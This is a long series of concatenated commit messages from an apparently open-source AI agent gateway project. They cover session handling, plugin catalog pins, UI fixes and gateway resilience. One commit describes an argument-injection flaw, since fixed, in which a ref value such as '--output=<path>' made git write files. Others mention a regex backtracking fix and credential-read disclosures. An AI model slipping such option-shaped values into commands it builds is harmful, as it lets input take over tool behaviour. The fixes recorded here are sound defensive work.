live agent's entry via main's session_provider_identity (MP-28, picker
current-entry), the MP-20 tuple fix and the CLI-43 changes.

Refs #143547
The popover was empty for any session without a resident agent and counted
pre-compression history. Both reads now use the compression tip, and an idle
session is estimated from its stored prompt, tools pin and messages.

Rows RT-72, RT-75.

Refs #143547

Co-authored-by: Asotora <andreyw441@gmail.com>
Addresses Greptile review on #143598.

Refs #143547
Addresses maintainer review on #143598.

Refs #143547
Addresses independent review findings on #143598.

Refs #143547
Review F1 (P2): since the agentless breakdown is accepted, a breakdown with categories but context_max 0 overwrote the meter header with zeros (40k/100k became 110 tok, popover 0 / 0). The header now takes the breakdown figures only when it knows a window, otherwise the session's own streamed usage, never the merged global. The popover still gets the categories.

Refs #143547
Review P3: pinned_tool_defs resolved names only against what the process had registered. Before the gateway warm-up imports model_tools (warm-up off, failed or still running) a legacy pin resolved to no tools and the miss was cached. Importing model_tools first registers the builtins for the agentless breakdown and the compress preview alike.

Refs #143547
The gateway advertises clarify-batch-v1 and the Ink TUI declares clarify_batch
on real prompts when the owner advertises it.

Row TUI-29.

Refs #143547

Co-authored-by: Khwan888 <148256154+Khwan888@users.noreply.github.com>
Addresses Greptile review on #143599.

Refs #143547
Addresses maintainer review on #143599.

Refs #143547
Addresses independent review findings on #143599.

Refs #143547
Main's session.resume now always carries open_requests (36a9d412b3), empty once every request settles; the reattach test asserts an empty list instead of a missing key.

Refs #143547
Review finding F1: the channel re-delivers session.resume's open_requests before the reply resolves, but resumeById / activateLiveSession then reset the screen, so a multi-question clarify form vanished while the owner kept waiting. hydrateSharedPrompts, which both callers run after the reset and before settleAttach, now delivers open_requests again under the same request id, so a held request.cancel still closes it.

Refs #143547
session/list now includes editor threads stored as local rows, sessions report
model and reasoning config options, and prompt.cancel on a started turn stops it
in the same call.

Rows ACP-23, ACP-24.

Refs #143547

Co-authored-by: Felipe Cardoso <felipe.cardoso@hotmail.it>
Co-authored-by: omega <omega.ai@keihatsu.de>
Addresses maintainer review on #143600.

Refs #143547
Addresses independent review findings on #143600.

Refs #143547
Review F1 (P2): _project_config recorded every observation before
comparing, so a snapshot with the same settings that landed while an
earlier projection was building its model catalog (a typed /model's own
session.resume on the same provider) replaced the slot and returned; the
first projection then saw a different object and dropped its send. Zed's
pickers stayed on the old model or mode. An equal observation now returns
before taking over the slot, so the projection holding the change sends.

Refs #143547
A wake compared every field of the stored origin source against the committed
envelope, so a drifted thread title, user name, first speaker or old profile
field refused it with admission_conflict forever. The wake is now admitted when
the committed source resolves to the same route key. A process notice from a
delegate_task child resolves to its parent conversation, and a relay wake is
re-sealed over the source it stores.

Rows MSG-8, MSG-28, MSG-29, MSG-30, MSG-31, MSG-32.

Refs #143547

Co-authored-by: 3bdALR7man-Ai <327901063+3bdALR7man-Ai@users.noreply.github.com>
Co-authored-by: alexpalco <725385+alexpalco@users.noreply.github.com>
Addresses Greptile review on #143590.

Refs #143547
Addresses maintainer review on #143590.

Refs #143547
Addresses independent review findings on #143590.

Refs #143547
Review finding F1 (dokterdok, comment 4363804715): on a chat whose
conversation is a resumed delegate run, admission climbed _delegate_from
past that run before comparing with the route. After compression the
execution preflight refused a wake admission had accepted (pausing the
chat with admission_conflict), and the completion pre-flight called a
pin on the pre-compression run gone and dropped its result.

Both walkers now stop at the first hop that is the route's live session
or compresses into it, and climb _delegate_from only from a hop that does
neither. This also makes a process notice from a subagent of the resumed
run admissible, so the two walkers agree there too.

Refs #143547
A Stop that arrived after its run finished interrupted the next turn's agent.
A queued head that kept failing its preclaim check with admission_conflict
paused the drain until restart; it now settles with a definite refusal, and a
route left on an unused session by the stale-route heal is re-pointed to its
caller.

Rows LC-47, LC-31, LC-45.

Refs #143547
Addresses Greptile review on #143591.

Refs #143547
Addresses maintainer review on #143591.

Refs #143547
Addresses independent review findings on #143591.

Refs #143547
Review F1 (P2): a queued messaging head the drain refuses is cancelled, but
admit_message still turned the waiter's admission_conflict into the pause
notice ("paused ... your message is saved"), and pause_notified then left the
next refused follow-up with no reply at all. Read the row: a terminal one gets
its own "not answered, send it again" reply; queued rows behind a real pause
keep pause_notice.

Refs #143547
Review F2 (P2): the unused-session exemption never matched the fork main's
stale-route heal leaves, because the heal's turn ran in the minted session, so
routes forked before the fix kept answering 409 admission_conflict on every
run. The route is derived from the caller's id, so a holder outside its
compression lineage with no binding of its own is a heal replacement: bind
and restore take the route back (logging the replacement's id) and the
replacement keeps its transcript. A holder with its own binding still refuses.

Refs #143547
Old cron, subagent, unbound API, WebUI and imported rows answered not_found.
The profile owner now opens them read-only; submit is refused with
session_read_only, archive, pin and leaf delete work, and deleting a row with
children is refused. The Claude Code and Codex importer goes through the
gateway's session.mutate import instead of writing state.db itself, and new
imports are cli sessions that resume writable.

Rows RT-30b, RT-48, RT-49, RT-54, RT-56.

Refs #143547
Addresses Greptile review on #143601.

Refs #143547
Addresses maintainer review on #143601.

Refs #143547
Addresses independent review findings on #143601.

Refs #143547
CI JS & TS checks: ui-tui `npm run i18n:keys:check` failed because locales/_keys.tui.json lacked userMessages.rpc.sessionReadOnly / sessionHasChildren, and apps/desktop scripts/i18n-keys.test.mjs failed on the missing errorCodes.session_read_only rows in locales/_keys.desktop.json. Regenerated both exports and added the two TUI strings to every bundled <lang>.tui.yaml, which tests/agent/test_i18n_tui_packs.py requires to mirror the export.

Refs #143547
Review F1 on #143601: session.info read live.source.platform on the source-less mount and answered internal error, so the classic CLI /new and /tools failed on an opened stored chat. It now reports the stored row source and skips the messaging branch. local_voice_enabled (the TUI push-to-talk gate) raised the same AttributeError; a mount now reads voice off.

Refs #143547
Review F2 on #143601: same_history_owner admitted an unbound routeless chain member only for local history sources, so delete_targets never left the selected cron/subagent segment and a delete through the mount removed one segment and reported success. A member that shares an unbound routeless anchor source now belongs to its history, so the walk and the delete transaction take the whole chain.

Refs #143547
CI JS & TS checks: apps/desktop src/i18n/overlay-completeness.test.ts failed because errorCodes.session_read_only had no entry in the eight catalogs that carry error cards (ar, de, es, fr, ja, ru, zh, zh-hant). Added the title and body to each beside cron_session_read_only.

Refs #143547
A CLI, TUI, Desktop or oneshot session whose last viewer vanished without
closing (a killed terminal, a dropped socket, a gateway stop) was never ended,
and every boot loaded every local receipt ever written. The gateway now arms a
grace timer (sessions.orphan_end_grace_s, default 300 s, 0 disables) when the
last viewer detaches without an end reason, and at boot for idle sessions the
previous owner left open. On fire it installs the existing persisted pending
close, so the row ends only after the running turn settles; the turn and its
async delegations are never stopped and an unknown turn waits for Discard.
Boot restores only open rows, unsettled input or stored closes; the rest load
on first touch. Ended sessions stay resumable.

Rows LC-35, LC-36, LC-37.

Refs #143547
Addresses Greptile review on #143626.

Refs #143547
Addresses maintainer review on #143626.

Refs #143547
Addresses independent review findings on #143626.

Refs #143547
Review F1: the Ink TUI hands a session it keeps running in the background
(/sessions new, the live switcher) back with a plain session.detach. That
armed the 300 s orphan close, so the kept session was ended ws_orphan_reap
and dropped out of the live switcher. Arm only for the detaches a closing
connection makes, and then also for the sessions it had handed back.

Refs #143547
Review F3: boot no longer restores ended local sessions, and only process
and delegation completions restored the route first. A watch match,
watch_disabled notice or heartbeat for a session closed before a restart
was requeued in memory with no note (main noted it at once), and a Kanban
or /loop wake was refused at admission. Restore in
_inject_watch_notification and before admit_route_wake's store lookup.

Refs #143547
Review F2: boot leaves ended local sessions out of the live registry, and
the stored picker only listed a canonical session that had a registry
entry. After any restart the TUI's switcher lost every conversation closed
before it. With no live entry, judge the stored receipt (profile,
principal, ended target, no unsettled input) without restoring it.

Refs #143547
One process ticks every served profile, so the per-profile worktree-prune throttle let each
profile decide it was due and dispatched one cron-worktree-prune thread per due profile. A
338-profile gateway therefore had hundreds of threads forking `git` at the same moment, starved
the event loop past the liveness probes and exited 75; a supervisor restart reached the same first
tick and died again (#143255).

The sweep now runs through `cron/scheduler_worktree_maintenance.run_sweep`: one sweep at a time per
process (semaphore, bounded 120 s wait), so the number of concurrent `git` children no longer
scales with the profile count. Discovery runs inside the slot too.

The per-profile throttle is unchanged: every profile still decides when it is due, and its own
repos are still pruned.

Salvaged onto main: main already carries the per-repo claim half of this fix
(`claim_due_worktree_repos`, #144505), so this keeps that one claim mechanism (now keyed on
`normcase(realpath())`) instead of the original `due_repos` and drops its window test.
The shared-repo and own-repo cases duplicate tests/cron/test_worktree_maintenance_once_per_repo.py
(#144505); the sweep-slot invariant is the one red on main.
The serialised worktree prune must queue the sweep behind, not lose it: the
one ahead raises during discovery, and the waiting sweep still takes the slot.
Red when the slot release is removed from run_sweep's finally.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01NJCfF1u4bxT8RovGzRc6y8
Re-pin for the review of this admission PR: the plugin's
`hermes run-debug` CLI crash was fixed and re-vetted at the new
upstream-revalidated commit; entry sha/version follow the pinned build.
Pinned to freehul/sgme v1.10.5 (6ef74f8f6089c765670abc13e639eefad3f6123b), subdir adapters/hermes. Validation, disclosures and rule-by-rule self-check in the PR description.
materialize fixed write root + server allowlist; credential_get off by default and never logged; event_id path-escaped. Addresses the CHANGES_REQUESTED review.
Addresses the three blocking findings and both recommendations from the review of
404e0926: user state moved to <hermes home>/plugin-data/, YAML read through
hermes_yaml, no private hermes_cli imports (validate is clean), catalog.py no longer
reads Hermes'''s .env, backend strings in English.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Adds a catalog entry for the Conxt memory provider
(conxtdevelopmentteam/hermes-conxt), pinned to
5d0d927664f6644c209f7c5abae86528532c9757.

Conxt recalls the user's memories before each turn (and a team's
approved memories when a team is set), captures the conversation in
batches, and lets the agent search, save, or propose team memories.
A team proposal waits for a person to approve it in Conxt.

Requires CONXT_API_KEY (a paid Conxt plan). Messages are sent only to
mcp.conxt.dev; no telemetry, and nothing is written automatically from
cron or subagent runs.
Updated SHA and version for the Conxt plugin.
Memory provider that archives the direct transcript into ctx before each compaction and serves the fail-closed pre-compress checkpoint contract (#94639). Pinned at GottZ/ctx 98749f3 (v5.26.1), subdir integrations/hermes/plugin/ctx_checkpoint.
win_process_table reads the Windows process table with image path and creation
time, and marks each row with whether its recorded parent is still the process
that spawned it. Pinned to the monorepo head that also fixes each plugin's
self-references.
The monorepo's latest commit points every plugin's manifest, packaging metadata
and README install block at the monorepo and its own subdirectory, so the old
per-plugin repositories can be retired without leaving dead links behind.

The plugin code is unchanged. docs_url switches from a pinned sha to the
default branch, so the next bump does not have to edit it.
0.1.1 fixed two patterns in claims.py that backtracked quadratically on long
runs of whitespace. A later pass over every pattern in the plugin found a
third one, _ZH_BRACKETED, which is unchanged since 0.1.0: input made only of
opening brackets made every start position scan to the end of the string.
0.1.2 bounded those runs; 0.1.3 adds the timing test for it.

The only call site passes a slice of at most 120 characters, so the input that
reaches the gate is unaffected: 200,000 random strings of up to 120 characters
give identical results before and after the change.

Two lines: sha and version.
The Nous audio gateway now serves tts-1 and tts-1-hd (it bills any model with a
priced NAS rule and fails closed otherwise), but the client still coerced every
model except gpt-4o-mini-tts, so tts.openai.model: tts-1-hd silently became
gpt-4o-mini-tts with a 'does not support model' warning. Widen the served set;
unserved models (e.g. dated snapshots) still fall back. Desktop client-direct
voice shares the same set.
Re-pin ea465dd4 -> 5a3d45d (v0.8.11). The upstream range makes the default hooks check in-process (hermes hooks doctor now runs only with --deep, redacted) and mirrors the loader's skill command names.

Update the disclosure to match: only hermes config path runs by default for hooks, while --deep runs hermes hooks doctor. Version label bumped with the sha.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
Agent Plugins v1 package (plugin.json + mcp.json + skills/): the hosted
Astro Agents MCP server (Streamable HTTP, no auth) and the astrology skill.
Pinned at 84285c6; requires_hermes >=0.22.5, the release it was tested on.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Bumps the catalog entry from 1.6.3 to 1.7.1. The plugin gains a third view (a dependency graph with
editable links and a click that lights a task's lineage), four quick scopes with a lineage modifier
shared by every view, and fixes a crash on selecting a card in the graph. Screenshots and the card
are pinned to the new sha, and the list capture gives way to the graph, which is what a reader is
deciding on.
Pins Mixar-AI/hermes-mixar at 15bc552 (0.1.0).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The plugin now declares credit costs and a per-chat spend limit, which
need Hermes 0.22.3.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Adds a catalog entry for a standalone Nextcloud Talk platform plugin
(chefboyrdave21/hermes-nextcloud-talk), pinned at the reviewed commit.
The plugin provides two modes behind one Hermes platform: a webhook bot
(Nextcloud Talk Bot API, HMAC-signed) and a real Nextcloud user account
(app password, long-polling the Chat REST API, with federation-invite
support). Mode is picked automatically by which credential is set.

Validated with `hermes plugins validate --install-deps` (passes clean,
no warnings) and `scripts/validate_plugin_catalog.py` against the full
catalog directory (646 entries, no collisions).

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
The plugin repo moved from a personal account to the smilinTux org; the old
URL redirects.
Pins the catalog entry to the plugin repo's v1.1.1 release (smilinTux/hermes-nextcloud-talk@4dfe250), which adds to the real-user connector: an agent-to-agent loop guard and active-listening context for rooms with more than one agent, room rules sourced from the Talk conversation description, and a configurable long-poll timeout. Updates the feature summary and sets readme: true so the docs site renders the pinned README.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Pins to smilinTux/hermes-nextcloud-talk@de7a900 (v1.2.0), which adds
inbound webhook hardening to bot mode: an explicit body-size cap and a
nonce-replay cache ahead of payload parsing, ported in concept (credited,
not copied) from Cliff3c/hermes-nextcloud-talk (MIT). Updates the feature
summary accordingly.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Mentions quoted inside inline code or fenced blocks no longer address the
agent (smilinTux/hermes-nextcloud-talk#6). User-mode only; the allowlist,
room-rules gating, secrets handling and platform id are unchanged.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Addresses the five blocking items from the review of 52b1ce15 (hook declared,
attachment paths in the send approval, Drive upload gated, cron scheduling
switch respected, per-profile sessions and a config_schema allowlist), plus
both recommendations. Version label follows the code at 0.28.0.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
The entry named 0.22.25 from an older revision. The release commit a4eb71d carries 0.22.32 and the linear wikilink scanner: a crafted memory fact of 64002 bracket characters dropped from about 6.5 seconds to microseconds, with identical output on 24 edge cases and 200000 random strings. Version and sha move together; the description is unchanged.
A security re-review of the listed pin (248af31d) found every credential read read-only and every token sent only to its own vendor, but the disclosure omitted the .anthropic_oauth.json read, Windows Credential Manager, Cursor's state.vscdb, the Grok CLI headers, the host/path override env vars and the result cache.
The host terminal reader blocked in inbox.put once the input queue was full, so a tab close never reached the receive loop. ended stayed unset, a write waiting on the program was never cancelled, and the shell stayed attached until the child read or another client attached, holding one of the 16 slots.

The reader now keeps receiving while a put waits for room. Closing the tab sets ended immediately and cancels the first write that has to wait for the program. Keystrokes already sent stay queued in order, so a slow program that is reading them still takes them.
1.0 passed base/target straight to git, so a value like --output=<path> made git write files, and reversed the PR-review diff. 1.1.0 (ba7bb0e1) rejects option-shaped refs, resolves them to commit SHAs with --end-of-options, fixes the merge-base direction and scans untracked files. Maintainer re-pin: the author is at the open-PR cap.
Rebuilt on main from #141775 (526b03a2e16, 1ab980b3162, 80c8baf2404): the optional-mcps/rentahuman entry those commits added and then removed already landed on main in cb6bcb401e, so only the final catalog YAML is carried.
The P1 from #143593's review: _with_entry_pick renamed every bare
`custom` launch pick to the first configured entry listing the model
before _keeps_profile_route ran. A bare-custom profile (local vLLM,
Ollama) then moved to another entry's host and key, the route-change
cleanup dropped its endpoint, key pins, api_mode and context_length, and
a --api-key launch key went to that other host. A custom:<name> profile
lost to an entry listed earlier in providers: that serves the same model.

A bare custom pick now names another entry only when it cannot mean the
profile's own route:
- on a bare custom profile, a pick with no base_url or the profile's own
  base_url is that route and passes through unchanged;
- among entries serving the model, the profile's own entry beats config
  order;
- a launch api_key with an entry the model alone chose (no provider or
  base_url naming it) is refused as invalid_params on api_key.

Covers the CLI/TUI/Desktop create (stage_local_session) and the Kanban
provider_override launch, which both pass through _with_entry_pick.

Found in review of #143593 by @dokterdok.

Refs #143547
CLI-43 was fixed only at create: `--source desktop` creates as `gui`, but
`hermes chat --resume <id> --source desktop` was refused "--source
differs" because _requested_policy handed the raw `desktop` to
check_resume_policy. It now applies create_surface there too.

Found in review of #143593 by @dokterdok.

Refs #143547
Addresses Greptile review on #144556.

Refs #143547
Addresses review feedback on #144556.

Refs #143547
Found in review of #143607 by @dokterdok.

Automatic image previews now share one renderer-wide queue of two
downloads, served in request order. A preview that leaves the viewport,
is hidden or unmounts before its turn gives up its place without a
request, and a file already downloading is joined instead of being
requested again. The manual Download button stays outside the cap.

Refs #143547
Addresses Greptile review on #144557.

Refs #143547
Addresses review feedback on #144557.

Refs #143547
The host terminal's socket reader stops taking frames while its 64-frame
input queue is full; that is the input backpressure. On POSIX a paste into
a program that is not reading waits with no deadline, and the pump only
cancels that wait once the reader has seen the socket end. When the tab
closed behind more than 64 queued frames, the close stayed unread behind
them: the reader blocked in inbox.put, the pump kept waiting, and the shell
stayed attached, out of reach of the 15-minute retention reaper, holding
one of the 16 host terminal slots until the program read or something else
freed it. cab0f9fee8 set out to cover this case, but its test stopped at
exactly 64 frames, which never blocks the put.

The previous version of this change kept receiving while the put waited
and parked every frame in an unbounded deque. That removed the
backpressure: a tab typing into a stuck program could make the server
buffer without limit, and frames may be up to 384 MiB each.

Instead, while the put waits, the reader sends the tab an empty binary
frame once a second. The client ignores it, and short of reading the frames
ahead of the close, a send is the only way to learn that the connection is
gone. Once the browser has dropped it, a send fails within about three
tries (the first can still reach the kernel before the reset comes back);
the reader sets `ended`, the pump cancels the waiting write, and the route
detaches the shell. The reader still takes nothing past the bound, so the
server holds no more of a tab's input than before and drops none of a live
tab's input.
"Open in browser" in the Webapp wrapped the page in a sandboxed iframe
whose src was a base64 data URL. Chromium refuses to navigate a frame
to a URL over 2 MiB, so any page above about 1.5 MB (default Plotly,
Bokeh and Folium exports) opened as a blank tab with no error.

Carry the page through srcdoc instead: decoded as UTF-8, as the data
URL's charset forced, and escaped for a double-quoted attribute (&
first, then ", < and >). Not a second blob URL, which would be an
app-origin page running agent HTML outside its sandbox. The frame keeps
sandbox="allow-scripts" only (opaque origin: no storage, popups or top
navigation) and no-referrer. The pinned data-URL assertion in
browser-desktop-bridge.test.ts now asserts the escaped srcdoc instead.

Refs #93508 (review W10)

(cherry picked from commit f8785ad7de00642b5ff55e5e6dafc09697e1884d)
In the browser Webapp, Export profile (profile menu and command palette)
did nothing: no dialog, no file, no message.

The export flow returns as soon as the bridge has no selectSavePath, and
the browser bridge never provides one.

It now reports this the way the flow reports any failed export: the
localized "Failed to export profile" title, with the reason and the
host-side command (hermes profile export <name>). This is the smaller
safe option: a browser export would have to serve the server's managed
export directory, which holds a secret-bearing archive, through the file
download route, and that path is unverified. Electron export with the
native dialog is unchanged.

Refs #93508 (review P3)

(cherry picked from commit f87d3d2fcc81fcbfffce7a6f8a12cfb0474e40bd)
A long paste or a picked text file is staged in the profile's uploads
folder on the gateway host, even when the profile's workspace is an SSH
machine. Its chip previews it through /api/fs/read-text, which sent every
path of an SSH profile to the SSH machine, so the preview answered
"File not found".

read-text now picks its backend the way read-data-url and download
already do (_remote_fs_backend): only a file the upload route staged for
that profile, or a paste in its image cache, reads on this host. Every
other path, including an unnamed file in the same uploads folder, is
still the SSH machine's to answer.

Refs #144648 (WA-5)
Refs #144704
The salvaged browser Export profile notice built its reason in English.
Move it to profiles.exportNeedsHost in every bundled locale, keeping the
host-side command (hermes profile export <name>) verbatim.

Refs #144648 (WA-4)
Refs #144704
With tts.provider: elevenlabs, text_to_speech gains an optional voice_id and a new
tts_voices tool searches the user's account voices (/v2/voices) or the public
Voice Library (/v1/shared-voices) with query/gender/age/accent/language filters and
an opaque next_page cursor. Both are gated on the ElevenLabs provider (dynamic
schema override + check_fn), so every other provider's surface is unchanged. A
per-call voice_id never rewrites config; a stale one sent under another provider is
ignored with a warning.
A cached False from an Edge listing could stick under the new config
fingerprint after switching to ElevenLabs (Greptile P1). The check is local and
config-backed, so mark it no_cache_check_fn; test drives the switch through
get_tool_definitions.
Teknium: the ElevenLabs variant of text_to_speech is where voice search belongs, not a
separate tts_voices tool. The ElevenLabs schema now carries voice_id plus a find_voices
object (text optional there); other providers' schema is byte-identical to main.

Live search findings folded in: the library is the default source and sorts by a year of
usage (most-used first); use_case (e.g. characters_animation) and sort filters; library
voices with a custom credit rate show credit_rate; the description tells the model the
library matches words literally, so a role word that finds nothing ('dwarf') falls back to
describing the sound ('gravelly old' + filters).
read-text now reads a staged paste or pick for an SSH profile on this
host, and a successful read enables the editor. write-text still sent
every path of an SSH profile to the SSH machine, so Save could create
or overwrite a remote file and then reload the unchanged host file.
write-text now picks its backend with _remote_fs_backend, the rule
read-text uses, so a save lands where the preview reads. Every other
path of an SSH profile is still written on the SSH machine.

With HERMES_DASHBOARD_FILES_ROOT outside the profile home, read-text
still refused a staged file with 403. It now makes the same narrow
exception read-data-url already makes for a validated host-staged
file. Every other host file outside the root is still refused.

Refs #144648 (WA-5)
Refs #144704
_cleanup_inactive_envs reaped any key whose _last_activity was older than
lifetime_seconds (default 300 s). Only background processes refresh that
stamp, while a foreground command may run for 600 s, so a long build or
test suite had its Docker workspace container stopped (exit 137), its
Modal sandbox terminated or its SSH control master closed mid-command.

terminal_tool and the remote execute_code path now hold the env keys they
were stamped under (_call_in_flight, refcounted, released in finally) from
acquisition through the approval wait and execution; the reaper skips held
keys, and release restamps so the idle countdown starts at call end.

Refs #143547

Co-authored-by: Genesis Guerrero Martinez <2824293+gengue@users.noreply.github.com>
For docker/ssh profiles TERMINAL_CWD is terminal.cwd, a path inside the
sandbox. The classic CLI sent it as session.create's cwd, which the gateway
checks on its own host, so every launch failed with invalid_params.
_launch_cwd() reads TERMINAL_CWD only for a local backend and otherwise
sends os.getcwd(), as the thin client and the TUI already do; the gateway
keeps the backend's configured cwd (session_policy.py contract).

Refs #143547

Co-authored-by: aikaizen <120840936+aikaizen@users.noreply.github.com>
The previous commit sent os.getcwd() for every non-local backend. hermes -w
puts the generated host worktree in TERMINAL_CWD without a chdir, so with
docker_mount_cwd_to_workspace the gateway froze the original checkout,
bind_turn_workspace registered it and docker mounted it at /workspace:
commands edited the checkout instead of the isolated tree.

_launch_cwd() now sends TERMINAL_CWD whenever it is a directory on this host
(local backends and the -w worktree) and falls back to the launch dir only
when it is not (a docker/ssh terminal.cwd naming a path inside the sandbox).

The remote execute_code reaper test now reaches the session-kernel call
instead of stopping at the python3 probe.

Refs #143547
Addresses review feedback on #144597.

Refs #143547
_launch_cwd fell back to os.getcwd() for any TERMINAL_CWD that was not a
host directory. -w publishes its tree in TERMINAL_CWD without a chdir, so a
tree removed while the CLI was open made /new and titled creates start in
the original checkout. Decide by where the folder came from instead: the
tree cli._active_worktree records, and a local backend's TERMINAL_CWD, are
sent as is (main's behaviour, refused by the gateway when missing); only a
docker/ssh terminal.cwd keeps the isdir fallback to the launch dir.

Refs #143547
Its only consumer is the idle reaper in terminal_tool_lifecycle, so it
belongs beside it. Like the rest of that module it reads the env cache
state (_calls_in_flight, _env_lock, _last_activity) from terminal_tool at
call time, so that state stays where tests patch it and no import cycle is
added; terminal_tool re-exports the helper and _execute_remote imports it
from the sibling. No behaviour change.

Refs #143547
_launch_cwd sent cli._active_worktree whenever one was recorded. After
`hermes -w` in project A, `/resume` of a project-B session moves cwd and
TERMINAL_CWD to B but leaves A recorded (its quit cleanup is still due),
so the next /new created its session in A.

TERMINAL_CWD is now the selection. It is sent as is when it equals the
recorded tree (so a removed tree is still refused by the gateway);
otherwise the local / host-directory rule applies. Local backends send
TERMINAL_CWD or os.getcwd() exactly as main does.

Refs #143547
`python cli.py -w` runs cli.py as __main__, so it records the tree in
__main__._active_worktree, not in a separately imported cli module.
_launch_cwd only read sys.modules["cli"], so on a mounting docker
backend a removed tree fell back to the checkout instead of being sent
for the gateway to refuse. Read both modules, still without importing.

Refs #143547
When every enabled messaging platform failed non-retryably at startup (WhatsApp
unpaired, missing token, Node missing, port held), _start_handle_no_connections
exited 78. That took every local client (CLI, TUI, Desktop) and cron down over one
unusable bot. The mixed and partly-connected cases already parked the platform
and kept running.

The aggregate step now records whether any startup failure was a real ownership
conflict (is_global_startup_conflict: another gateway holds the token/profile).
Only that still exits 78. Every other all-fatal boot parks the platforms, logs an
ERROR naming each one, and runs as `degraded`. The per-platform runtime status
stays `fatal` with its error code.

Refs #143547

Co-authored-by: Tsury <4947581+Tsury@users.noreply.github.com>
The startup fix kept an all-fatal boot up as `degraded`, but the same unusable
bot still stopped the gateway when it happened mid-run: a Telegram token revoked
while running, or a polling conflict after its retries ran out, made
_handle_adapter_fatal_error_impl log "Shutting down gateway cleanly" and call
stop(). That exits 0, so under systemd Restart=on-failure the gateway stayed
down with cron and the local attach endpoint.

When the last adapter fails non-retryably and the code is not an ownership
conflict (is_global_startup_conflict), _park_last_fatal_platform now parks it
like startup does (_startup_parked_platforms), re-stamps _serving_state() as
`degraded`, logs one ERROR naming the platform, error and remedy, and returns
without stopping. An ownership conflict mid-run still stops. The retryable
branch and on_all_adapters_down are unchanged.

Refs #143547
_start_handle_no_connections tested `startup_nonretryable_errors and not
startup_retryable_errors` twice in a row, once with the ownership-conflict flag
and once without. Test it once and branch on the flag inside. No behaviour change:
the exit-78 conflict tests and the degraded all-fatal test pass unchanged.

Refs #143547
A non-retryable fatal on the last adapter now parks it via
_park_last_fatal_platform, which lives on GatewayStartupMixin. GatewayRunner
is the only production class using GatewayAdapterLifecycleMixin and it has
both, so the harness gains the startup mixin and a runtime-status seam
instead of the prod call growing a lifecycle-only fallback.

Refs #143547
_park_last_fatal_platform re-stamped _serving_state() unconditionally, so a
fatal during an external drain turned draining into degraded while
_external_drain_active stayed true; the watcher could not repair it because
_enter_external_drain is idempotent. The parked flag is still set, but the
status stamp is skipped while an external drain or shutdown is active.
_exit_external_drain already stamps _serving_state(), so the release now
reports degraded.

Refs #143547
The parked-during-drain test polled runner._external_drain_active with a
hand-rolled asyncio.sleep(0.1) loop, which tests/AGENTS.md bans (HX013).
It now uses tests.waiting.async_wait_until with the same predicate and
the default bounded deadline.

Refs #143547
An adapter that cannot cache a download leaves its remote URL in
media_urls (DingTalk always does). Native capture takes only local
regular files, so that one entry raised invalid_params and the whole
message, text included, was refused before the agent saw it.

At the envelope boundary, drop each non-local media entry (and its
parallel media_types / media_text_inlined entries) and append a short
note naming the dropped attachment to the text. Malformed media lists
still reach validation and refuse as before.

Refs #143547
Any local session (Desktop chat, CLI run, Kanban worker) adds a LOCAL
adapter to a satellite profile's adapter map. The shared-bot fallback
at three sites tested that map for truthiness, so once it held LOCAL
the satellite stopped borrowing the primary's routed bot and its cron
results, heartbeats and background notices failed as "not
configured/enabled".

has_credential_platform() ignores LOCAL when deciding whether a profile
has a bot of its own; _adapters_for_profile, tick_adapters_for and
_drain_restart_safe_cron_deliveries use it. _adapters_for_profile keeps
the satellite's LOCAL adapter layered over the borrowed primary map.

Refs #143547
Co-authored-by: liuhao1024 <11816344+liuhao1024@users.noreply.github.com>
The Relay connector stamps source.profile to route a scope to a Hermes
profile. _binding derived the runtime profile only from local
profile_routes (or the /p/ prefix), so a stamp naming a non-primary
profile, or any stamp on a single-profile gateway, raised
profile_mismatch, which Relay treats as permanent: the frame was ACKed
and dropped and that profile's bot went silent.

Multiplex: when no local route matches, accept the stamp from the
process-level relay adapter if it names a reserved served home; a local
route still wins and an unserved stamp is still refused. The relay seal
covers source.profile, so a stored row cannot be rerouted. The route
block moves into _runtime_profile to keep _binding under its CC cap.

Single-profile: clear the stamp before admission; _capture_scope has
already kept it for egress.

Refs #143547
Co-authored-by: Ben Barclay <413810+benbarclay@users.noreply.github.com>
When a satellite profile's own bot hits a fatal error, its adapter is
popped from _profile_adapters and parked in _profile_failed_platforms
for reconnect. With a Desktop/CLI LOCAL adapter still in the map,
has_credential_platform() saw no credential platform and the cron tick
and restart-safe drain handed the profile the primary's routed bots, so
its output went out through the wrong bot until the reconnect landed.

has_credential_platform() now also takes the profile's
_profile_failed_platforms entry and counts a parked reconnect as owning
a bot, the same signal _is_shared_bot_satellite already uses for authz.
The drain reads it from the runner; the in-process ticker gets the live
map through a new profile_failed_platforms start kwarg.

Also update the native-ingress guards fixture to the remote-media
contract: an uncached remote URL is dropped with a note and the text
kept, while the trust-upgrade refusals stay.

Refs #143547
Addresses review feedback on #144595.

Refs #143547
On a single-profile gateway the connector stamp (source.profile) was cleared only in native
admission, so a stamped slash command (_on_inbound -> handle_message) or a Discord interaction
(_on_passthrough) still reached _binding with the stamp and was refused with profile_mismatch.

RelayAdapter now clears it right after _capture_scope on both ingress paths, before the
native/command split, when the runner is known and multiplex_profiles is off. A bare adapter with
no runner keeps the stamp. The clear in inbound_admission._admit is now redundant and removed.

Refs #143547
Keep the real-ticker LOCAL-only satellite test (red on main) and the fatal-error ownership test
